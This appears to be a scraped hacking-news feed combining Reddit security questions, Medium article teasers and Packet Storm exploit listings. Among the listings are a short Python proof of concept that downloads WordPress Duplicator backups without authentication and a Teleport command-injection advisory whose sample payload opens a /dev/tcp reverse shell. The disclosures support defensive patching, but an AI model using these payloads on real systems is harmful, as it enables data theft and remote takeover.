https://b.thumbs.redditmedia.com/7oiVIo1OlRGg5Tk69wbgDuazPDoxSuro4yHhn0Q7vLw.jpg submitted by /u/grymoire
[link] [comments]

hacking: security in practice
Repurposing IPad 2

Does anyone have any ideas on what I could do with an old IPad 2? It can’t be updated past iOS 9.3.5, so using it is rather pointless as many apps won’t run. Is there anything I can do with it? Hell I would love to have it for an OSRS tablet but I cant run anything on it. Was looking to toss Linux on it but I can’t seem to find much information on the process. I know QMole has some documentation but am curious of other peoples thoughts. Any cool ideas or simple ones just to get some use from it? Kind of wanting something to tinker with anyway. Thanks for suggestions

submitted by /u/Juiicybox
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Safe to access HTTPS sites using free public WiFi hotspot

Is it safe enough to log in and check Web mails (e.g. Gmail) if HTTPS is used?

Can a free public WiFi router/access point (assuming it is compromised/malicious) steal my email login/password?

submitted by /u/2048b
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Best RFID readers/writer

Does anyone have experience with good rfid/nfc cards readers/writers. Especially: -Ease to install/use -Price -Availability (preferably on Amazon) Thanks!

submitted by /u/MarwenJ
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
WordPress Duplicator 1.4.7.2 Backup Disclosure

https://2.bp.blogspot.com/-n3YJZo98ptc/WWlvfHNo4ZI/AAAAAAAAIP8/W2JyxBpYTHMTjkJx5zl91eYOlgUDpw8egCLcBGAs/s1600/h84.png
WordPress Duplicator plugin version 1.4.7.2 suffers from a backup disclosure vulnerability.

SHA-256 | 4b429acd0d9ab9938f8fc1e0f2d883938eed396e2695e2c2d455e519b5de3ad0

Download
## Title: WordPress Plugin Duplicator 1.4.7.2 - Unauthenticated Backup Download
## Author: nu11secur1ty
## Date: 08.23.2022
## Vendor: https://wordpress.org/
## Software: https://wordpress.org/plugins/duplicator/
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/WordPress/2022/Duplicator%20%E2%80%93%20WordPress-Migration-Plugin-1.4.7.2

## Description:
The WordPress Plugin Duplicator 1.4.7.2 suffers from Unauthenticated
Backup Download, after an update from the 1.4.7.1 version.
The attacker can download all archive information from the system by
using this vulnerability!
Status: CRITICAL

[+] Exploit:

```python
#!/usr/bin/python
# Author nu11secur1ty
from selenium import webdriver
import time
import os

print("Test if you can access the directory\n")
time.sleep(5)
os.system('curl http://pwned-host.com/wordpress/wp-content/backups-dup-lite/')
target=input("Give the name of the archive...\n")
driver = webdriver.Chrome()
driver.get('http://pwned-host.com/wordpress/wp-content/backups-dup-lite/'
+ target)

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/WordPress/2022/Duplicator%20%E2%80%93%20WordPress-Migration-Plugin-1.4.7.2)

## Proof and Exploit:
[href](https://streamable.com/x0cvjh)

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Teleport 9.3.6 Command Injection

https://1.bp.blogspot.com/-nibhxYxL_dU/WWlvdqzVqgI/AAAAAAAAIPo/_mHlQijSxHEwrD5GdeVybD20bu3Iyyg_QCLcBGAs/s1600/h8.png
Teleport 9.3.6 is vulnerable to command injection leading to remote code execution. An attacker can craft a malicious ssh agent installation link by URL encoding a bash escape with carriage return line feed. This url encoded payload can be used in place of a token and sent to a user in a social engineering attack. This is fully unauthenticated attack utilizing the trusted teleport server to deliver the payload.

SHA-256 | 5228298638858e0e106cda75b65bd4c283027b5bc6dff934d99ebc3b59a112f7

Download
Description:Teleport 9.3.6 is vulnerable to Command injection leading to Remote
Code Execution. An attacker can craft a malicious ssh agent
installation link by URL encoding a bash escape with carriage return
line feed. This url encoded payload can be used in place of a token and
sent to a user in a social engineering attack. This is fully
unauthenticated attack utilizing the trusted teleport server to deliver
the payload.

Additional Information:https://goteleport.com/
https://github.com/gravitational/teleport
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-36633

Vulnerability Type: otherCommand injection leading to Remote Code Execution

Vendor of Product:Teleport - https://goteleport.com/
Affected software version: Teleport version < v10.1.2

Affected Component:https://teleport.examplesite.com/scripts/*INJECTION-POINT*/install-node.sh?method=iam /dev/tcp/10.0.0.1/5555 0<&1&1 #

Patch information:https://goteleport.com/docs/changelog/#1012
https://github.com/gravitational/teleport/pull/14944
------------------------------------------

Discoverers:
Brandon Roach & Brian Landrum

------------------------------------------

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
10-Strike Network Inventory Explorer 9.3 Buffer Overflow

___________________________
@hacking_Attack
@Hacking_Video

Broken Access Control

Broken Access Control vulnerabilities are common in modern applications since the design and implementation of access control mechanisms…Continue reading on Medium »
Read more...

Hacking on Medium
How Much Do Ethical Hackers Make? (+ brief info on salaries)

https://cdn-images-1.medium.com/max/1000/1*RE4wdFf8S4jkwSw-sE2_Vg.jpeg
You may have seen the classic hacker type from features like “Mr. Robot” or “The Girl with the Dragon Tattoo” and wondered how much they…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Blukat writeup pwnable.kr

https://cdn-images-1.medium.com/max/600/1*v1MIgsiKFBhTV6wCQMKHaw.jpeg
“if this challenge is hard, you are a skilled player.”

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
ContainMe (thm) writeup

https://cdn-images-1.medium.com/max/704/1*EN6dJ8Zua-wFyFeRxE3QdA.png
This was probably the hardest medium machine I have done on thm thus far. We can practice pivoting tho so let’s dive into it:

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Broken Access Control

https://cdn-images-1.medium.com/max/1024/1*-7rGVetzy1FrtnAqtyLt8Q.jpeg
Broken Access Control vulnerabilities are common in modern applications since the design and implementation of access control mechanisms…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video